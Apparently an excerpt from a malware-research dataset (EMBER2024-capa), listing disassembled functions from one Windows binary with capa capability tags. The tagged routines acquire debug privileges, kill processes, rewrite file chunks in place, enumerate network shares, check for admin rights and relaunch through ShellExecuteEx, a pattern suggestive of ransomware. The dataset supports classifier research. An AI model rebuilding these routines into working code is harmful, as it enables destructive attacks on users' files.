joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418c84
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, eax
xor edi, edi
mov ebx, 0xffff
mov eax, ebx
call fcn.004026bc
mov dword [ebp - 4], eax
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
call sub.ntdll.dll_ZwQuerySystemInformation
cmp eax, 0xc0000004
jne 0x418cd6
mov eax, ebx
add eax, eax
mov ebx, eax
lea eax, [ebp - 4]
mov edx, ebx
call fcn.004026fc
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
call sub.ntdll.dll_ZwQuerySystemInformation
cmp eax, 0xc0000004
je 0x418cb2
test eax, eax
jne 0x418cdf
mov edi, dword [ebp - 4]
jmp 0x418ce7
mov eax, dword [ebp - 4]
call fcn.004026dc
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x418df8
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404104
lea eax, [ebp - 0x114]
mov edx, 0x10c
call fcn.004066bc
mov dword [ebp - 0x114], esi
push 0
push 0
lea eax, [ebp - 0x114]
push eax
push 0x418cf0
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x418ebd
xor eax, eax
push ebp
push 0x418eb6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x64
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WaitForSingleObject
sub eax, 1
jb 0x418e6d
sub eax, 0x101
je 0x418e94
jmp 0x418e9f
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetExitCodeThread
cmp dword [ebp - 4], 0
jne 0x418e9f
mov eax, ebx
lea edx, [ebp - 0x110]
mov ecx, 0x104
call fcn.00404384
jmp 0x418e9f
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_TerminateThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x418ebd
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x418ec4
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x418f1f
lea eax, [ebp - 0x10]
push eax
push 0x418f28
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
je 0x418f1f
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
cmp eax, 1
sbb ebx, ebx
inc ebx
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419794
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.00404c70
xor eax, eax
push ebp
push 0x419819
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 1
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 4]
call fcn.004049e4
push eax
call sub.kernel32.dll_CreateFileW
mov ebx, eax
cmp ebx, 0xffffffff
je 0x419803
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [0x423960]
call fcn.004043cc
push eax
mov eax, 0x423960
call fcn.00404624
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419820
lea eax, [ebp - 4]
call fcn.0040482c
ret

Function at 0x419828
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.00404c70
xor eax, eax
push ebp
push 0x4198dd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
call fcn.00404104
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 4]
call fcn.004049e4
push eax
call sub.kernel32.dll_CreateFileW
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4198b2
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.kernel32.dll_GetFileSizeEx
mov eax, dword [ebp - 0x10]
mov edx, eax
lea eax, [ebp - 0x14]
call fcn.004046fc
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
call fcn.00404624
push eax
push ebx
call sub.kernel32.dll_ReadFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
mov eax, 0x423960
mov edx, dword [ebp - 0x14]
call fcn.00404158
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4198e4
lea eax, [ebp - 0x14]
call fcn.00404104
lea eax, [ebp - 4]
call fcn.0040482c
ret

Function at 0x4198ec
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf4
mov ebx, eax
push 0xff
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryW
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.004049b8
add esp, 0x20c
pop ebx
ret

Function at 0x41991c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbdc
push ebx
xor edx, edx
mov dword [ebp - 0x420], edx
mov dword [ebp - 0x424], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4199d4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0x104
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x424]
call fcn.004198ec
mov eax, dword [ebp - 0x424]
mov dx, word [eax]
lea eax, [ebp - 0x420]
call fcn.0040493c
lea eax, [ebp - 0x420]
mov edx, 0x4199e4
call fcn.00404a00
mov eax, dword [ebp - 0x420]
call fcn.004049e4
push eax
call sub.kernel32.dll_GetVolumeInformationW
mov eax, dword [ebp - 4]
xor edx, edx
push edx
push eax
mov eax, ebx
call fcn.004079ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4199db
lea eax, [ebp - 0x424]
mov edx, 2
call fcn.00404844
ret
Function at 0x4199ec
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x419a83
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x28]
call fcn.004079ec
push dword [ebp - 0x28]
mov eax, dword [ebp - 0xc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x2c]
call fcn.004079ec
push dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
movzx eax, word [ebp - 4]
call fcn.00407900
push dword [ebp - 0x30]
lea edx, [ebp - 0x34]
movzx eax, word [ebp - 2]
call fcn.00407900
push dword [ebp - 0x34]
mov eax, ebx
mov edx, 4
call fcn.0040448c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419a8a
lea eax, [ebp - 0x34]
mov edx, 4
call fcn.00404128
ret

Function at 0x419a90
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor edx, edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x419b17
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x20]
call fcn.004198ec
mov eax, dword [ebp - 0x20]
mov dx, word [eax]
lea eax, [ebp - 0x1c]
call fcn.004042fc
lea eax, [ebp - 0x1c]
mov edx, 0x419b2c
call fcn.004043d4
mov eax, dword [ebp - 0x1c]
call fcn.004045cc
push eax
call sub.kernel32.dll_GetDiskFreeSpaceExA
push dword [ebp - 0x14]
push dword [ebp - 0x18]
mov eax, ebx
call fcn.004079ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419b1e
lea eax, [ebp - 0x20]
call fcn.0040482c
lea eax, [ebp - 0x1c]
call fcn.00404104
ret

Function at 0x41a1c8
Capabilities:
Get memory capacity

Disassembly:
push ebx
add esp, 0xffffffc0
mov ebx, eax
mov eax, esp
xor ecx, ecx
mov edx, 0x40
call fcn.00402ec8
mov dword [esp], 0x40
push esp
call sub.kernel32.dll_GlobalMemoryStatusEx_1
mov edx, ebx
mov eax, dword [esp + 8]
call fcn.00407900
add esp, 0x40
pop ebx
ret

Function at 0x41a424
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffed8
mov edi, esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.00410388
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.004103a8
jmp 0x41a47c
call sub.kernel32.dll_GetCurrentProcessId
cmp eax, dword [edi + 8]
jne 0x41a473
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov esi, eax
push 0
push esi
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.004103c8
test eax, eax
jne 0x41a450
push ebx
call sub.kernel32.dll_CloseHandle_1
mov eax, esi
add esp, 0x128
pop edi
pop esi
pop ebx
ret
Function at 0x41a494
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004045bc
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x41a602
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.00410388
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.004103a8
jmp 0x41a5ce
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404384
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00407ed0
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00407684
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00407684
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404518
je 0x41a5ae
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404384
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00407684
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00407684
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404518
jne 0x41a5c5
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.004103c8
test eax, eax
jne 0x41a50f
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41a609
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404128
lea eax, [ebp - 4]
call fcn.00404104
ret
Function at 0x41ac30
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov ebx, ecx
test ebx, ebx
js 0x41ac4e
shr ebx, 2
mov esi, dword [edx + ebx*4]
dec ebx
push esi
jns 0x41ac47
mov edx, esp
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, dword [ebp + 0x24]
xor eax, eax
push ebp
push 0x41adcf
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax], edx
cmp dword [ebp + 0x28], 0
jne 0x41aca3
fild qword [ebp + 0x14]
fdiv dword [0x41ade8]
mov dword [ebp - 0x34], esi
fild dword [ebp - 0x34]
fmulp st(1)
call fcn.00402a64
inc eax
mov esi, eax
mov eax, esi
cdq
cmp edx, dword [ebp + 0x20]
jne 0x41ac9e
cmp eax, dword [ebp + 0x1c]
jbe 0x41aca3
jmp 0x41aca0
jle 0x41aca3
mov esi, dword [ebp + 0x1c]
push 0
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x41ac0c]
call fcn.004053c4
add esp, 4
push esi
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x41ac0c]
call fcn.004053c4
add esp, 4
fild qword [ebp + 0x14]
fdiv dword [0x41adec]
call fcn.00402a64
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 0xa
mov edi, dword [ebp + 0x10]
mov eax, dword [0x422540]
mov dword [ebp - 0x30], eax
push 0
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push ebx
call sub.kernel32.dll_SetFilePointerEx
push 0
lea eax, [ebp - 0x2c]
push eax
push esi
mov eax, dword [ebp - 0xc]
push eax
push ebx
call sub.kernel32.dll_ReadFile_1
cmp dword [ebp - 0x2c], 0
je 0x41ad8c
mov eax, dword [ebp - 0xc]
mov al, byte [eax]
mov byte [edi], al
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x30]
mov al, byte [eax]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00405210
mov edx, eax
mov ecx, esi
mov eax, dword [ebp - 0xc]
call fcn.00418800
push 0
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push ebx
call sub.kernel32.dll_SetFilePointerEx
push 0
lea eax, [ebp - 0x2c]
push eax
push esi
mov eax, dword [ebp - 0xc]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
cmp dword [ebp - 0x2c], 0
je 0x41ad8c
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x28]
add dword [eax], edx
mov eax, dword [ebp - 0x28]
add eax, eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, dword [ebp - 0x20]
adc edx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
inc dword [ebp - 0x30]
inc edi
dec dword [ebp - 0x24]
jne 0x41ad0d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41add6
lea eax, [ebp - 0xc]
mov edx, dword [0x41ac0c]
call fcn.004054c4
ret
Function at 0x41b108
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov ebx, ecx
test ebx, ebx
js 0x41b126
shr ebx, 2
mov esi, dword [edx + ebx*4]
dec ebx
push esi
jns 0x41b11f
mov edx, esp
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0x1c]
xor eax, eax
push ebp
push 0x41b23f
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [edi], eax
cmp dword [ebp + 0x20], 0
jne 0x41b167
fild qword [ebp + 0x14]
fdiv dword [0x41b258]
mov dword [ebp - 0x1c], ebx
fild dword [ebp - 0x1c]
fmulp st(1)
call fcn.00402a64
inc eax
mov ebx, eax
push 0
lea eax, [ebp - 0x14]
mov ecx, 1
mov edx, dword [0x41b0e4]
call fcn.004053c4
add esp, 4
push ebx
lea eax, [ebp - 0x14]
mov ecx, 1
mov edx, dword [0x41b0e4]
call fcn.004053c4
add esp, 4
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push esi
call sub.kernel32.dll_SetFilePointerEx
push 0
lea eax, [ebp - 0x18]
push eax
push ebx
mov eax, dword [ebp - 0x14]
push eax
push esi
call sub.kernel32.dll_ReadFile_1
cmp dword [ebp - 0x18], 0
je 0x41b223
mov eax, dword [ebp - 0x14]
mov al, byte [eax]
mov edx, dword [ebp + 0x10]
mov byte [edx], al
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
push 0xe7
mov eax, dword [ebp - 0x14]
call fcn.00405210
mov edx, eax
mov ecx, ebx
mov eax, dword [ebp - 0x14]
call fcn.00418800
push 0
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push esi
call sub.kernel32.dll_SetFilePointerEx
push 0
lea eax, [ebp - 0x18]
push eax
push ebx
mov eax, dword [ebp - 0x14]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
cmp dword [ebp - 0x18], 0
je 0x41b223
mov dword [edi], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41b246
lea eax, [ebp - 0x14]
mov edx, dword [0x41b0e4]
call fcn.004054c4
ret
Function at 0x41d8fc
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 4
add esp, 0xfffff004
push eax
dec eax
jne 0x41d905
mov eax, dword [ebp - 4]
add esp, 0xffffffa4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x4060], ecx
mov dword [ebp - 0x4054], ecx
mov dword [ebp - 0x405c], ecx
mov dword [ebp - 0x4058], ecx
mov dword [ebp - 0x4050], ecx
mov esi, eax
lea edi, [ebp - 0x2c]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
xor eax, eax
push ebp
push 0x41da98
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dl, 1
jne 0x41d96a
lea eax, [ebp - 4]
push eax
push 0
push 0
push 1
push 2
call sub.mpr.dll_WNetOpenEnumW
jmp 0x41d97d
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2c]
push eax
push 0
push 1
push 2
call sub.mpr.dll_WNetOpenEnumW
test eax, eax
jne 0x41da7a
mov dword [ebp - 8], 0x4020
mov dword [ebp - 0xc], 1
jmp 0x41da51
xor ebx, ebx
mov esi, dword [ebp - 0x4038]
test esi, esi
je 0x41da40
lea eax, [ebp - 0x4050]
mov edx, esi
call fcn.0040497c
mov edx, dword [ebp - 0x4050]
mov eax, 0x41daac
call fcn.00404bdc
dec eax
jne 0x41da40
lea eax, [ebp - 0x4054]
push eax
lea eax, [ebp - 0x4058]
mov edx, dword [ebp - 0x4038]
call fcn.0040497c
mov eax, dword [ebp - 0x4058]
call fcn.004049f4
push eax
lea eax, [ebp - 0x405c]
mov edx, dword [ebp - 0x4038]
call fcn.0040497c
mov eax, dword [ebp - 0x405c]
mov edx, 3
pop ecx
call fcn.00404b90
mov edx, dword [ebp - 0x4054]
mov eax, 0x41dab8
call fcn.00404bdc
test eax, eax
je 0x41da40
mov bl, 1
lea eax, [ebp - 0x4060]
mov edx, dword [ebp - 0x4038]
call fcn.0040497c
mov eax, dword [ebp - 0x4060]
call fcn.0041d7ac
test bl, bl
jne 0x41da51
xor edx, edx
lea eax, [ebp - 0x404c]
call fcn.0041d8fc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x404c]
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetEnumResourceW
test eax, eax
je 0x41d998
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetCloseEnum
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41da9f
lea eax, [ebp - 0x4060]
mov edx, 5
call fcn.00404844
ret
Function at 0x41db54
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x41dcca
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40
lea eax, [ebp - 0x54]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x54]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x41dcaf
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x41dca4
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 8]
call fcn.0040430c
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x41dce0
call fcn.004046b4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.0040462c
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x41dce0
call fcn.004046b4
inc eax
push eax
mov eax, dword [ebp - 8]
call fcn.004043cc
mov ecx, eax
mov eax, dword [ebp - 8]
pop edx
call fcn.0040462c
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x41dce0
call fcn.004046b4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.0040462c
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x41dce0
call fcn.004046b4
inc eax
push eax
mov eax, dword [ebp - 8]
call fcn.004043cc
mov ecx, eax
mov eax, dword [ebp - 8]
pop edx
call fcn.0040462c
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x41dce0
call fcn.004046b4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.0040462c
push dword [ebp - 0xc]
push 0x41dce0
push dword [ebp - 0x10]
push 0x41dce0
push dword [ebp - 0x14]
push 0x41dce0
lea eax, [ebp - 8]
mov edx, 6
call fcn.0040448c
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.0041dabc
test al, al
jne 0x41dca3
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x41dba2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41dcd1
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404128
ret

Function at 0x41e480
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf4
mov ebx, eax
push 0
push 0x10
lea eax, [esp + 8]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathW
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.0040439c
add esp, 0x20c
pop ebx
ret

Function at 0x41e4b0
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf4
mov ebx, eax
push esp
push 0x104
call sub.kernel32.dll_GetTempPathW
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.004049b8
add esp, 0x20c
pop ebx
ret
Function at 0x41e4dc
Capabilities:
Compare security identifiers

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov byte [esp], 0
lea eax, [esp + 4]
push eax
push 0xffffffffffffffff
push 8
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.advapi32.dll_OpenThreadToken
mov ebx, eax
test ebx, ebx
jne 0x41e520
call sub.kernel32.dll_GetLastError_1
cmp eax, 0x3f0
jne 0x41e520
lea eax, [esp + 4]
push eax
push 8
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
mov ebx, eax
test ebx, ebx
je 0x41e5b7
mov eax, 0x400
call fcn.004026bc
mov esi, eax
lea eax, [esp + 8]
push eax
push 0x400
push esi
push 2
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_GetTokenInformation
mov ebx, eax
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_CloseHandle_1
test ebx, ebx
je 0x41e5b0
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
push 0x4224f4
call sub.advapi32.dll_AllocateAndInitializeSid
mov ebx, dword [esi]
dec ebx
test ebx, ebx
jl 0x41e5a6
inc ebx
xor edi, edi
mov eax, dword [esi + edi*8 + 4]
push eax
mov eax, dword [esp + 0x10]
push eax
call sub.advapi32.dll_EqualSid
test eax, eax
je 0x41e5a2
mov byte [esp], 1
jmp 0x41e5a6
inc edi
dec ebx
jne 0x41e589
mov eax, dword [esp + 0xc]
push eax
call sub.advapi32.dll_FreeSid
mov eax, esi
call fcn.004026dc
mov al, byte [esp]
add esp, 0x10
pop edi
pop esi
pop ebx
ret

Function at 0x41e5c4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.004045bc
mov eax, dword [ebp - 8]
call fcn.004045bc
mov ebx, 0x42395c
lea esi, [ebp - 0x44]
xor eax, eax
push ebp
push 0x41e6b7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
xor ecx, ecx
mov edx, 0x3c
call fcn.00402ec8
mov dword [esi], 0x3c
call sub.user32.dll_GetFocus
mov dword [esi + 8], eax
mov dword [esi + 4], 0x500
mov eax, 0x41e6c4
mov dword [esi + 0xc], eax
mov eax, dword [ebp - 4]
call fcn.004045cc
mov dword [esi + 0x10], eax
mov eax, dword [ebp - 8]
call fcn.004045cc
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], 1
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_CloseHandle_1
push 0x7d0
call sub.kernel32.dll_Sleep
jmp 0x41e692
mov eax, dword [0x423958]
call fcn.004045cc
push eax
push 0xffffffffffffffff
push 0
call fcn.00406424
mov dword [ebx], eax
call sub.kernel32.dll_GetLastError_1
cmp eax, 0xb7
jne 0x41e680
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x41e69c
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_CloseHandle_1
push 0x7d0
call sub.kernel32.dll_Sleep
push esi
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x41e654
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e6be
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404128
ret